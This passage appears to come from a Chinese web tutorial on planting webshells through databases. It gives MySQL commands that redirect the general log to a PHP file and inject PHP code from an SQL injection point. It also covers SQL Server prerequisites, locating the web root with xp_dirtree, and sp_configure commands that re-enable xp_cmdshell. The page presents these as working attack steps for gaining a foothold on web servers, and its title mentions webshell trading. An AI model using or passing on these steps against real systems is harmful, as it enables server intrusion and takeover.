三大数据库如何写入WebShell?,webshell交易 2023-10-26 12:49:49 0 0 将log日志开启,并设置日志的写入位置: Set globalgeneral_log = on; Set globalgeneral_log_file = ‘F:/test.php’; 图7:设置日志写入位置 (2)使用写入日志再读取的方法 直接在SQL注入点,使用查询语句,添加WebShell代码,如下: Select '<?phpphpinfo();?>'; 此时这段WebShell代码已经被记录到日志文件中了,接下就可以使用连接工具进行连接了。 图8:使用写入日志再读取的方法 SqlServer写入WebShell 01必备条件 ① 有相应的权限db_owner ② 获得Web目录的绝对路径 02写入方法 向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。 03使用XP_cmdshell写入Webshell (1)实验前准备: 首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种: 通过报错信息查找; 通过目录爆破猜解; 通过旁站的目录确定; 通过存储过程来搜索; 通过读取配置文件查找。 其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree execute master..xp_dirtree ‘c:’; 可以查出所有c:下的文件、目录、子目录。 图9:查找网站目录的绝对路径 在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。 Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。 EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;-- 图10:打开xp_cmdshell扩展 收藏(0)